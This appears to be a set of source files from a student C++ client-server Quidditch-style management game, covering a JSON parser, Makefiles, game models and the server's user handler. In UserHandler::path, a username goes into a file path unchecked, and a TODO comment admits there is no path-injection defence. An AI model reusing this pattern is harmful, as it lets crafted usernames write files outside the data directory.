}\n}\n\nJsonList * JsonList::fromString(string message, int & i) {\n i++;\n JsonList * r = new JsonList();\n i += skip_whitespace(message, i);\n\n if (message[i] == ']') {\n i++;\n return r;\n }\n\n while (1) {\n JsonValue * value = NULL;\n\n i += skip_whitespace(message, i);\n value = JsonValue::fromString(message, i);\n r->add(value);\n\n i += skip_whitespace(message, i);\n\n switch (message[i]) {\n case ',':\n i++;\n break;\n case ']':\n i++;\n return r;\n break;\n default:\n throw PARSE_ERROR(\"expected ] or , found \" + string(1, message[i]), i);\n }\n }\n}\n\nstring JsonList::toString() {\n string infos = \"[\";\n int index = 0;\n while (index < this->content.size()) {\n infos += this->content[index]->toString();\n index++;\n infos += \", \";\n }\n\n infos = infos.substr(0, infos.size() - 2) + \"]\";\n return infos;\n}\n\nvoid JsonList::add(JsonValue * value) {\n content.push_back(value);\n}\n\nsize_t JsonList::size() {\n return content.size();\n}\n\nJsonValue * JsonList::operator[](const int & i) {\n return content.at(i);\n}\n\n\n// Int\n\nJsonInt::JsonInt(int val) {\n value = val;\n}\n\nJsonInt * JsonInt::fromString(string message, int & i) {\n JsonInt * r = new JsonInt();\n bool end = false;\n int start = i;\n while (!end) {\n switch (message[i]) {\n case '0':\n case '1':\n case '2':\n case '3':\n case '4':\n case '5':\n case '6':\n case '7':\n case '8':\n case '9':\n i++;\n break;\n default:\n end = true;\n break;\n }\n }\n r->setValue(message.substr(start, i));\n return r;\n}\n\nstring JsonInt::toString() {\n return (string) * this;\n}\n\n\nint JsonInt::getValue() {\n return value;\n}\n\nvoid JsonInt::setValue(int val) {\n value = val;\n}\n\nvoid JsonInt::setValue(string val) {\n try {\n value = stoi(val);\n }\n catch (out_of_range) {\n throw ParseError(\"Int too big to be parsed\");\n }\n}\n\nJsonInt::operator string() const {\n return to_string(value);\n}\n\nJsonInt::operator int() const {\n return value;\n}\n\n// Null\n\nstring JsonNull::toString() {\n return \"null\";\n}\n\nJsonNull * JsonNull::fromString(string message, int & i) {\n if (message.substr(i, 4) != \"null\") {\n throw PARSE_ERROR(\"expected null, got '\" + message.substr(i, 4) + \"'\", i);\n }\n i += 4;\n return new JsonNull();\n}\n\nbool JsonNull::operator ==(const int * i) {\n return i == 0;\n}\n\n// Bool\n\nJsonBool::JsonBool(bool val) {\n value = val;\n}\n\nJsonBool * JsonBool::fromString(string message, int & i) {\n JsonBool * r = NULL;\n if (message[i] == 't') {\n if (message.substr(i, 4) != \"true\") {\n throw PARSE_ERROR(\"expected true, got '\" + message.substr(i, 4) + \"'\", i);\n }\n r = new JsonBool(true);\n i += 4;\n }\n else {\n if (message.substr(i, 5) != \"false\") {\n throw PARSE_ERROR(\"expected false, got '\" + message.substr(i, 5) + \"'\", i);\n }\n r = new JsonBool(false);\n i += 5;\n }\n\n return r;\n}\n\nstring JsonBool::toString() {\n if (value) {\n return \"true\";\n }\n else {\n return \"false\";\n }\n}\n\nbool JsonBool::operator ==(const bool i) {\n return value == i;\n}\n\nJsonBool::operator bool() const {\n return value;\n}\n" }, { "alpha_fraction": 0.6477692127227783, "alphanum_fraction": 0.6491110324859619, "avg_line_length": 25.380531311035156, "blob_id": "186c80978759118d1090509adc5520971ee5f479", "content_id": "180ea66cc58ce34ebfe3e8c34636461d6a22a8cb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 2981, "license_type": "permissive", "max_line_length": 207, "num_lines": 113, "path": "/Makefile", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "include src/options.mk\n# include src/latex.mk\nrwildcard=$(foreach d,$(wildcard $1*),$(call rwildcard,$d/,$2) $(filter $(subst *,%,$2),$d))\n\nCODE=$(call rwildcard, src/, *.cpp *.h)\n\nEXECUTABLES=server client\n\nSERVER_DEPS=$(BUILD_DIR)/server.a $(BUILD_DIR)/server-views.a $(BUILD_DIR)/libjson.a $(BUILD_DIR)/libsocket.a $(BUILD_DIR)/libfile.a $(BUILD_DIR)/models.a $(BUILD_DIR)/libexception.a $(BUILD_DIR)/libthread.a\nCLIENT_DEPS=$(BUILD_DIR)/libjson.a $(BUILD_DIR)/libsocket.a $(BUILD_DIR)/libexception.a $(BUILD_DIR)/client-send-views.a $(BUILD_DIR)/libthread.a $(BUILD_DIR)/models.a\n\nRMAKES=$(BUILD_DIR)/server.a $(BUILD_DIR)/models.a $(BUILD_DIR)/server-views.a $(BUILD_DIR)/libjson.a $(BUILD_DIR)/libfile.a $(BUILD_DIR)/libsocket.a $(BUILD_DIR)/libexception.a $(BUILD_DIR)/libtest.a\n\nifeq ($(shell uname),Darwin)\n\tSTART_CLIENT=@./build/bin/client.app/Contents/MacOS/client || true\nelse\n\tSTART_CLIENT=@./build/bin/client || true\nendif\n\nall: $(addprefix $(BUILD_DIR)/bin/,$(EXECUTABLES))\n\nserver-needs: $(BUILD_DIR)/../server-config.json\n\n$(BUILD_DIR)/bin/server: $(SERVER_DEPS) | $(BUILD_DIR)/bin/ $(BUILD_DIR)/../server-config.json\n\t$(CXX) $(LDFLAGS) -o $@ $^\n\n$(BUILD_DIR)/bin/client: $(CLIENT_DEPS) | $(BUILD_DIR)/bin/ $(BUILD_DIR)/bin/images $(BUILD_DIR)/bin/stylesheets\n\trm -f src/client/gui/Makefile\n\tcd src/client/gui/; qmake; cd -\n\t@$(MAKE) -C src/client/gui/\n\nclient: $(BUILD_DIR)/bin/client\n\t@echo \"===============\\nStarting client\\n===============\\n\"\n\t$(START_CLIENT)\n\nserver: $(BUILD_DIR)/bin/server\n\t@echo \"===============\\nStarting server\\n===============\\n\"\n\t@./build/bin/server || true\n\n$(BUILD_DIR)/bin/images:\n\tcp -r src/client/gui/images $(BUILD_DIR)/bin/\n\n$(BUILD_DIR)/bin/stylesheets:\n\tcp -r src/client/gui/stylesheets $(BUILD_DIR)/bin/\n\n\n$(BUILD_DIR)/../server-config.json: | $(BUILD_DIR)/bin/\n\tcp default/config/server.json $@\n\ninit:\n\tmkdir -p data\n\tcp -r default/data/* data\n\n$(BUILD_DIR)/server.a:\n\t@$(MAKE) -C src/server\n\n$(BUILD_DIR)/models.a:\n\t@$(MAKE) -C src/common/models\n\n$(BUILD_DIR)/server-views.a:\n\t@$(MAKE) -C src/server/views\n\n$(BUILD_DIR)/libjson.a:\n\t@$(MAKE) -C src/common/lib/json\n\n$(BUILD_DIR)/libfile.a:\n\t@$(MAKE) -C src/common/lib/file\n\n$(BUILD_DIR)/libsocket.a:\n\t@$(MAKE) -C src/common/lib/socket\n\n$(BUILD_DIR)/libexception.a:\n\t@$(MAKE) -C src/common/lib/exception\n\n$(BUILD_DIR)/libtest.a:\n\t@$(MAKE) -C src/common/lib/test\n\n$(BUILD_DIR)/libthread.a:\n\t@$(MAKE) -C src/common/lib/thread/\n\n$(BUILD_DIR)/client-send-views.a:\n\t@$(MAKE) -C src/client/send-views\n\n$(BUILD_DIR)/bin/:\n\tmkdir -p $@\n\ndoc: $(BUILD_DIR)/doc\n\t@$(MAKE) -C doc\n\n.PHONY: clean doc $(RMAKES) srd\n\n$(BUILD_DIR)/doc:\n\tmkdir -p $@\n\nclean: srd-clean normalize-clean\n\trm -rf build/\n\nnormalize:\n\tuncrustify --replace -c src/normalize.cfg $(CODE)\n\nnormalize-clean:\n\tfind . -name \"*.unc-backup.md5\\~\" -exec rm {} \\;\n\tfind . -name \"*.unc-backup\\~\" -exec rm {} \\;\n\nsrd:\n\t@$(MAKE) -C srd/\n\nsrd-clear:\n\t@$(MAKE) -C srd/ clean\n\nsrd-clean:\n\t@$(MAKE) -C srd/ clean\n\trm -f srd/srd.pdf\n" }, { "alpha_fraction": 0.8153846263885498, "alphanum_fraction": 0.8153846263885498, "avg_line_length": 31.5, "blob_id": "4e2b785d8b4e5c74ad8aa7575d7864f7d0373c16", "content_id": "377967a7cab4c97ba2fe4f24b071bdcae04456d3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 195, "license_type": "permissive", "max_line_length": 131, "num_lines": 6, "path": "/src/common/models/ModelUnserializationError.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"ModelUnserializationError.h\"\n\nusing namespace std;\n\n\nModelUnserializationError::ModelUnserializationError(string message): runtime_error::runtime_error(\"Unserialization:\" + message) {}\n" }, { "alpha_fraction": 0.7150537371635437, "alphanum_fraction": 0.7150537371635437, "avg_line_length": 19.66666603088379, "blob_id": "c319883d4a15751346cdef3cf6eebc00af24c3d7", "content_id": "84fdac55147469dbd1edc8a29d9923bf95e59c1a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 186, "license_type": "permissive", "max_line_length": 55, "num_lines": 9, "path": "/src/common/models/Infirmary.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Infirmary.h\"\n\nInfirmary::Infirmary(int level): Installation(level) {}\n\nInfirmary::~Infirmary() {}\n\nvoid Infirmary::heal(Player & player) {\n player.setWoundedState(false);\n}\n" }, { "alpha_fraction": 0.71875, "alphanum_fraction": 0.71875, "avg_line_length": 15, "blob_id": "3344b404b1bcf84f6730fbb6408f38ed1f39edb8", "content_id": "46b4e092ed2363e590185c9fbe114db098a39fd9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 96, "license_type": "permissive", "max_line_length": 24, "num_lines": 6, "path": "/src/client/send-views/Makefile", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "include ../../options.mk\n\nNAME=client-send-views\nDEPS=libsocket libjson\n\ninclude ../../rules.mk\n" }, { "alpha_fraction": 0.6629213690757751, "alphanum_fraction": 0.6629213690757751, "avg_line_length": 13.833333015441895, "blob_id": "8fbab0a0bf15182f1999c5794086f2e00ba39ac5", "content_id": "bff2123c6c3c9410bd2bb85b46769150ecc75e23", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 89, "license_type": "permissive", "max_line_length": 27, "num_lines": 6, "path": "/src/common/lib/socket/Makefile", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "include ../../../options.mk\n\nNAME=libsocket\nDEPS=libexception\n\ninclude ../../../rules.mk\n" }, { "alpha_fraction": 0.692307710647583, "alphanum_fraction": 0.692307710647583, "avg_line_length": 21.854839324951172, "blob_id": "dbbbd878dc28e2453f08bbd9b127ac0fc099d447", "content_id": "1a00db1defafd48d79b9b4b894d1188ffeb86718", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1417, "license_type": "permissive", "max_line_length": 73, "num_lines": 62, "path": "/src/client/receive-views/serverhandler.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef RECIEVE_SERVER_HANDLER\n#define RECIEVE_SERVER_HANDLER\n\n#include <iostream>\n#include <string>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <ctype.h>\n#include <unistd.h>\n#include <errno.h>\n#include <string.h>\n#include <netdb.h>\n#include <sys/types.h>\n#include <netinet/in.h>\n#include <sys/socket.h>\n\n#include <QApplication>\n#include <QPushButton>\n#include <QGraphicsView>\n#include <QGridLayout>\n#include <QLabel>\n#include <QPixmap>\n#include <iostream>\n#include <menuwindow.h>\n\n#include \"../../common/lib/socket/Socket.h\"\n#include \"../../common/lib/json/json.h\"\n#include \"../../common/lib/exception/BadRequest.h\"\n#include \"../../common/lib/exception/SocketError.h\"\n#include \"../../common/lib/json/helpers.h\"\n#include \"views.h\"\n#include \"../gui/mainwindow.h\"\n\nclass ServerHandler;\n\ntypedef void (* view_ptr)(JsonValue *, ServerHandler *);\n\n\nclass ServerHandler {\npublic:\n ServerHandler(std::string host, const int port, MainWindow * window);\n ~ServerHandler();\n bool connect_socket();\n void send(std::string message);\n int recieve(std::string & message);\n int loop();\n MainWindow * getWindow();\n\nprivate:\n Socket * s_;\n std::string host_;\n int port_;\n MainWindow * window_;\n\n void handleMessage(std::string message);\n static const std::map<std::string, view_ptr> viewmap;\n};\n\nstd::string split_message(std::string * key, std::string message);\n#endif\n" }, { "alpha_fraction": 0.44574469327926636, "alphanum_fraction": 0.46063828468322754, "avg_line_length": 23.415584564208984, "blob_id": "d2001aaf6e90b58a99fb9d8c330d3216a946bcf9", "content_id": "37c4ef116db01855a98cc2239c3119e55e2aadce", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1880, "license_type": "permissive", "max_line_length": 76, "num_lines": 77, "path": "/src/common/lib/file/file.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"file.h\"\n\nusing namespace std;\n\nint readFile(const string & filename, string & content) {\n int fd = open(filename.c_str(), O_RDONLY);\n if (fd >= 0) {\n char buffer[BUFF_SIZE];\n size_t read_len = 0;\n do {\n read_len = read(fd, buffer, BUFF_SIZE);\n if (read_len == -1) {\n close(fd);\n return -1;\n }\n if (read_len > 0) {\n content += string(buffer, read_len);\n }\n } while (read_len > 0);\n close(fd);\n return 0;\n }\n else {\n return fd;\n }\n}\n\nint writeFile(const string & filename, string & content) {\n int fd = open(filename.c_str(), O_WRONLY | O_CREAT | O_TRUNC, 0600);\n\n if (fd >= 0) {\n int pos = 0;\n\n while (pos < content.length()) {\n const char * buffer = content.c_str();\n int len = content.length();\n\n int size = write(fd, buffer, len);\n if (size == -1) {\n return -1;\n }\n pos += size;\n }\n close(fd);\n return 0;\n }\n return fd;\n\n}\n\nbool fileExists(const std::string & filename) {\n access(filename.c_str(), F_OK);\n return errno != ENOENT;\n}\n\n\nbool createDir(string dirname) {\n size_t start = 0, pos;\n std::string dir;\n int ret;\n if (dirname[dirname.size() - 1] != '/') {\n dirname += '/'; // add a trailing / if not present\n }\n\n while ((pos = dirname.find_first_of('/', start)) != std::string::npos) {\n dir = dirname.substr(0, pos);\n start = pos + 1;\n if (dir.size() == 0) {\n continue; // if leading / first time is 0 length\n }\n ret = mkdir(dir.c_str(), 0700);\n if ((ret != 0) && (errno != EEXIST)) {\n return false;\n }\n }\n return ret == 0 || errno == EEXIST;\n}\n" }, { "alpha_fraction": 0.6800000071525574, "alphanum_fraction": 0.6800000071525574, "avg_line_length": 11.5, "blob_id": "badf5d9feed5ef00a5ccb8687515c5ac30d4d67a", "content_id": "52bbdba1bbeee89dc87c086a9ab0fbb1c092c550", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 75, "license_type": "permissive", "max_line_length": 24, "num_lines": 6, "path": "/src/common/models/Makefile", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "include ../../options.mk\n\nNAME=models\nDEPS=libjson\n\ninclude ../../rules.mk\n" }, { "alpha_fraction": 0.5951492786407471, "alphanum_fraction": 0.60447758436203, "avg_line_length": 15.75, "blob_id": "8c5ff3e0f527d75cb899278f10f27bcfb8a9911d", "content_id": "20d8b04d6284eb40d1665426d1d4047ddff9a48b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 536, "license_type": "permissive", "max_line_length": 79, "num_lines": 32, "path": "/src/common/models/Ball.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Ball.h\"\n\nBall::Ball(): speed_(0) {\n position_.y = 0;\n position_.y = 0;\n}\n\nBall::Ball(int speed): speed_(speed) {\n position_.x = 0;\n position_.y = 0;\n}\n\nBall::Ball(int speed, Position position): speed_(speed), position_(position) {}\n\nBall::~Ball() {}\n\nvoid Ball::setPosition(int x, int y) {\n position_.x = x;\n position_.y = y;\n}\n\nPosition Ball::getPosition() {\n return position_;\n}\n\nvoid Ball::setPosition(Position position) {\n position_ = position;\n}\n\nint Ball::getSpeed() const {\n return speed_;\n}\n" }, { "alpha_fraction": 0.5801222324371338, "alphanum_fraction": 0.5854371786117554, "avg_line_length": 23.920530319213867, "blob_id": "ad57c4da390b620eed9a6f8f8d67692cd83439fb", "content_id": "d62b3fae2edd992c45db41c63d238ec48f440eb4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3763, "license_type": "permissive", "max_line_length": 134, "num_lines": 151, "path": "/src/common/models/Club.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"Club.h\"\n\nusing namespace std;\n\nClub::Club(): money_(0), installations_() {\n\n for (int i = 0; i < 7; ++i) {\n players_.push_back(new NonFieldPlayer());\n\n team_->setPlayer(*players_.at((unsigned int)i), i);\n\n }\n}\n\n\nClub::Club(JsonValue * json) {\n JsonDict * club = JDICT(json);\n JsonDict * ins;\n\n if (club == NULL) {\n throw ModelUnserializationError(\"Club initialized from non dict\");\n }\n\n JsonInt * money_int = JINT((*club)[\"money\"]);\n if (money_int == NULL) {\n throw ModelUnserializationError(\"Missing int at key 'money' in Club\");\n }\n\n int money = *money_int;\n Installation installations[5];\n\n JsonList * installations_list = JLIST((*club)[\"installations\"]);\n if (installations_list == NULL) {\n throw ModelUnserializationError(\"Missing list at key 'installations' in Club\");\n }\n if (installations_list->size() != 5) {\n throw ModelUnserializationError(\"Bad 'installations' size in Club\");\n }\n\n\n for (int i = 0; i < 5; i++) {\n ins = JDICT((*installations_list)[i]);\n if (ins == NULL) {\n throw ModelUnserializationError(\"Null installation in Club\");\n }\n\n installations[i] = Installation(ins);\n }\n\n Team * team = new Team((*club)[\"team\"]);\n JsonList * player_list = JLIST((*club)[\"players\"]);\n if (player_list == NULL) {\n throw ModelUnserializationError(\"Missing list at key 'players' in Club\");\n }\n\n vector<NonFieldPlayer *> players;\n for (int i = 0; i < player_list->size(); i++) {\n players.push_back(new NonFieldPlayer((*player_list)[i]));\n }\n for (int i = 0; i < 7; i++) {\n if (team->getPlayer(i) != NULL) {\n players.push_back(team->getPlayer(i));\n }\n }\n\n new (this)Club(money, installations, team, players);\n}\n\nClub::Club(int money, Installation * installations, Team * team, vector<NonFieldPlayer *> players): money_(money), players_(players) {\n for (int i = 0; i < 5; ++i) {\n installations_[i] = installations[i];\n }\n team_ = team;\n}\n\nClub::~Club() {}\n\nint Club::addMoney(const int deltaMoney) {\n return money_ += deltaMoney;\n}\n\nint Club::getMoney() {\n return money_;\n}\n\nint Club::getLevel() {\n int level = 0;\n for (int i = 0; i < 5; ++i) {\n level += installations_[i].getLevel();\n }\n return level;\n}\n\nTeam * Club::getTeam() {\n return team_;\n}\n\nstd::vector<NonFieldPlayer *> Club::getNonFieldPlayers() {\n return players_;\n}\n\nvoid Club::addNonFieldPlayer(NonFieldPlayer * player) {\n players_.push_back(player);\n}\n\nNonFieldPlayer * Club::removeNonFieldPlayer(unsigned int pos) {\n NonFieldPlayer * tmpPlayer = players_[pos];\n players_.erase(players_.begin() + pos);\n return tmpPlayer;\n}\n\n\nvoid Club::addInstallation(Installation & installation, int pos) {\n installations_[pos] = installation;\n}\n\nInstallation * Club::getInstallations() {\n return installations_;\n}\n\n\nClub::operator JsonDict() const {\n JsonDict r;\n\n r.add(\"money\", new JsonInt(money_));\n\n JsonDict * team = new JsonDict(*team_);\n r.add(\"team\", team);\n\n JsonList * installations = new JsonList();\n for (int i = 0; i < 5; i++) {\n JsonDict * install = new JsonDict(installations_[i]);\n installations->add(install);\n }\n r.add(\"installations\", installations);\n\n JsonList * players = new JsonList();\n for (int i = 0; i < players_.size(); i++) {\n bool present = false;\n for (int j = 0; (j < 7) && (!present); j++) {\n present = players_[i] == team_->getPlayer(j);\n }\n if (!present) {\n JsonDict * player = new JsonDict(*(players_[i]));\n players->add(player);\n }\n }\n r.add(\"players\", players);\n\n return r;\n}\n" }, { "alpha_fraction": 0.6717703342437744, "alphanum_fraction": 0.677511990070343, "avg_line_length": 21.23404312133789, "blob_id": "112b18595d97db6c03f5698534490e0b09b30eaa", "content_id": "ab5376ebf585d4a2d29ee91f22d988401738284e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1045, "license_type": "permissive", "max_line_length": 102, "num_lines": 47, "path": "/src/common/models/Club.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef CLUB_H\n#define CLUB_H\n\n#include <vector>\n#include \"Installation.h\"\n#include \"Team.h\"\n#include \"NonFieldPlayer.h\"\n\n#include \"../lib/json/json.h\"\n#include \"ModelUnserializationError.h\"\n\nenum {INFIRMARY = 1, CANDYSHOP = 2, FANSHOP = 3, FIELD = 4, TRAININGFIELD = 5};\n\n\nclass Club {\n\npublic:\n Club();\n Club(JsonValue * json);\n Club(int money, Installation * installations, Team * team, std::vector<NonFieldPlayer *> players);\n ~Club();\n\n int addMoney(const int deltaMoney);\n int getMoney();\n\n int getLevel(); //calcule le level\n\n Team * getTeam();\n\n operator JsonDict() const;\n\n std::vector<NonFieldPlayer *> getNonFieldPlayers();\n void addNonFieldPlayer(NonFieldPlayer * player);\n NonFieldPlayer * removeNonFieldPlayer(unsigned int pos);\n\n void addInstallation(Installation & installation, int pos);\n Installation * getInstallations();\n\n\nprivate:\n int money_;\n Installation installations_[5];\n Team * team_ = new Team();\n std::vector<NonFieldPlayer *> players_;\n};\n\n#endif // CLUB_H\n" }, { "alpha_fraction": 0.7457044720649719, "alphanum_fraction": 0.7594501972198486, "avg_line_length": 25.454545974731445, "blob_id": "2a521d2a93cbf6d98e342bb669ed0f8468b28253", "content_id": "2fb86603dc68c547fb42f935824a0732501c8baa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 291, "license_type": "permissive", "max_line_length": 72, "num_lines": 11, "path": "/src/common/models/TrainingField.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"TrainingField.h\"\n\nTrainingField::TrainingField(): Installation(1) {}\n\nTrainingField::~TrainingField() {}\n\n//TrainingField TrainingField::operator=(TrainingField& trainingField){}\n\nvoid TrainingField::training(NonFieldPlayer & player) {\n player.changeExperience(level_ * 100);\n}\n" }, { "alpha_fraction": 0.7220843434333801, "alphanum_fraction": 0.7220843434333801, "avg_line_length": 24.1875, "blob_id": "12ddb46616cb96a51012c3033419fa96e79c7e17", "content_id": "08bb92d9281bd3744fc9a95f8f3e7ac4f0f604d0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 403, "license_type": "permissive", "max_line_length": 56, "num_lines": 16, "path": "/src/common/lib/json/helpers.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef JSON_HELPERS_H\n#define JSON_HELPERS_H\n\n#include \"json.h\"\n#include \"../exception/BadRequest.h\"\n\nstd::string getString(JsonDict * dict, std::string key);\nstd::string getString(JsonList * list, int i);\n\nbool getBool(JsonDict * dict, std::string key);\nJsonList * getList(JsonDict * dict, std::string key);\nint getInt(JsonDict * dict, std::string key);\nJsonDict * castDict(JsonValue * val);\n\n\n#endif\n" }, { "alpha_fraction": 0.5823255777359009, "alphanum_fraction": 0.5858139395713806, "avg_line_length": 24.748502731323242, "blob_id": "d59b445eb46cf3c596d5262189fe204640d3c043", "content_id": "adc2b3d573bf9cfe1ac09abfeb300d20eba0f71f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4300, "license_type": "permissive", "max_line_length": 101, "num_lines": 167, "path": "/src/server/UserHandler.cpp", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#include \"UserHandler.h\"\n\nusing namespace std;\n\n\n#include \"views/user.h\"\n#include \"views/management.h\"\n#include \"views/challenge.h\"\n#include \"views/match.h\"\n\nconst map<string, view_ptr> UserHandler::viewmap = {\n {\"login\", views::login},\n {\"register\", views::signup},\n {\"userlist\", views::userlist},\n {\"playerlist\", views::playerlist},\n {\"challenge\", views::challenge},\n {\"accept_challenge\", views::accept_challenge},\n {\"refuse_challenge\", views::refuse_challenge},\n {\"end_turn\", views::end_turn},\n {\"surrender\", views::surrender}\n};\n\nUserHandler::UserHandler(struct server_shared_data * shared_data, Socket * socket) {\n shared_data_ = shared_data;\n s_ = socket;\n manager_ = NULL;\n}\n\nUserHandler::~UserHandler() {\n delete s_;\n for (int i = 0; i < shared_data_->handlers_list.size(); i++) {\n if (shared_data_->handlers_list.at(i) == this) {\n shared_data_->handlers_list.erase(shared_data_->handlers_list.begin() + i);\n break;\n }\n }\n if (manager_ != NULL) {\n writeToFile();\n delete manager_;\n }\n}\n\n\nstd::vector<UserHandler *> * UserHandler::getHandlers_list() {\n return &(shared_data_->handlers_list);\n}\n\nstd::vector<Match *> * UserHandler::getMatch_list() {\n return &(shared_data_->match_list);\n}\n\nvector<Challenge> * UserHandler::getChalenge_list() {\n return &(shared_data_->challenge_list);\n}\n\nstruct server_shared_data * UserHandler::getSharedData() {\n return shared_data_;\n}\n\nManager * UserHandler::getManager() {\n return manager_;\n}\n\nUserHandler * UserHandler::findHandler(string username) {\n for (int i = 0; i < shared_data_->handlers_list.size(); i++) {\n if (shared_data_->handlers_list.at(i)->getManager()->getUserName() == username) {\n return shared_data_->handlers_list.at(i);\n }\n }\n return NULL;\n}\n\nUserHandler * UserHandler::findHandler(Manager * manager) {\n for (int i = 0; i < shared_data_->handlers_list.size(); i++) {\n if (shared_data_->handlers_list.at(i)->getManager() == manager) {\n return shared_data_->handlers_list.at(i);\n }\n }\n return NULL;\n}\n\nvoid UserHandler::setManager(Manager * manager) {\n if (manager_ == NULL) {\n manager_ = manager;\n }\n}\n\nint UserHandler::writeToClient(std::string key, JsonValue * json) {\n return s_->write(key + \":\" + json->toString());\n}\n\nvoid UserHandler::disconnect() {\n dead = true;\n}\n\nint UserHandler::loop() {\n string message;\n while (1) {\n if ((s_->read(message) <= 0) || (message == \"quit\")) {\n disconnect();\n return 0;\n }\n handleMessage(message);\n }\n}\n\nvoid UserHandler::handleMessage(string message) {\n string key;\n\n message = split_message(&key, message);\n try {\n try {\n UserHandler::viewmap.at (key)(JsonValue::fromString(message), this);\n }\n catch (const std::out_of_range & oor) {\n throw BadRequest(\"Unknown topic : '\" + key + \"'\");\n }\n }\n catch (const BadRequest & br) {\n JsonDict answer;\n\n answer.add(\"Bad request\", new JsonString(br.what()));\n answer.add(\"code\", new JsonInt(100));\n this->writeToClient(\"error\", &answer);\n }\n catch (const ParseError & pe) {\n JsonDict answer;\n\n answer.add(\"Parse error\", new JsonInt(101));\n answer.add(\"code\", new JsonString(pe.what()));\n this->writeToClient(\"error\", &answer);\n }\n}\n\nMatch * UserHandler::getMatch() {\n for (int i = 0; i < shared_data_->match_list.size(); i++) {\n Match * m = shared_data_->match_list.at(i);\n if ((m->getClubs()[0] == manager_->getClub()) || (m->getClubs()[1] == manager_->getClub())) {\n return m;\n }\n }\n\n return NULL;\n}\n\nbool UserHandler::inMatch() {\n return getMatch() != NULL;\n}\n\nstring UserHandler::path(string dir, string var) {\n // TODO : add defence against path injection\n return shared_data_->datapath + dir + \"/\" + var + \".json\";\n}\n\n\nbool UserHandler::writeToFile() {\n string content = ((JsonDict)(*manager_)).toString();\n string fileName = path(\"users\", manager_->getUserName());\n\n if (writeFile(fileName, content)) {\n perror(\"Save user \");\n return false;\n }\n else {\n return true;\n }\n}\n" }, { "alpha_fraction": 0.6604938507080078, "alphanum_fraction": 0.6604938507080078, "avg_line_length": 11.461538314819336, "blob_id": "304b6d7902a24ed7137de48cc90e70bce06ac4cf", "content_id": "771e9b038c061af4d3d92246b5b0386b3f61775b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 162, "license_type": "permissive", "max_line_length": 34, "num_lines": 13, "path": "/src/common/models/Field.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef FIELD_H\n#define FIELD_H\n\n#include \"Installation.h\"\n\nclass Field: public Installation {\n\npublic:\n Field(int level);\n ~Field();\n};\n\n#endif // FIELD_H\n" }, { "alpha_fraction": 0.664047122001648, "alphanum_fraction": 0.664047122001648, "avg_line_length": 17.178571701049805, "blob_id": "6e85b7a49ce09d56f739f1bc922e5b1a482794e4", "content_id": "22dc3af3108c55658e3b9e0a598601b33429d048", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 509, "license_type": "permissive", "max_line_length": 87, "num_lines": 28, "path": "/src/common/models/Quaffle.h", "repo_name": "Mixone-FinallyHere/info-f-209", "src_encoding": "UTF-8", "text": "#ifndef QUAFFLE_H\n#define QUAFFLE_H\n\n#include <string>\n\n#include \"Position.h\"\n#include \"Case.h\"\n\n#include \"Ball.h\"\n\nclass Quaffle: public Ball {\n\npublic:\n Quaffle();\n Quaffle(JsonValue * json);\n Quaffle(int speed, Position position);\n ~Quaffle();\n operator JsonDict() const;\n void thrown(const char direction, const int power, const Case grid[WIDTH][LENGTH]);\n std::string getName();\n Way getWay() const;\n void setWay(Way way);\n\nprivate:\n Way thrownWay_;\n};\n\n#endif // QUAFFLE_H\n" }, { "alpha_fraction": 0.6326247453689575, "alphanum_fraction": 0.6400184631347656, "avg_line_length": 36.63478088378906, "blob_id": "107d3436f7d37b357a822ff485e84bea4a7c88b7", "content_id": "8a182421537a5a8f6441ea19dbc6e10e9611a11e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4328, "license_type": "permissive", "max_line_length": 115, "num_lines": 115, "path": "/src/server/views/challenge.cpp", "repo_name": 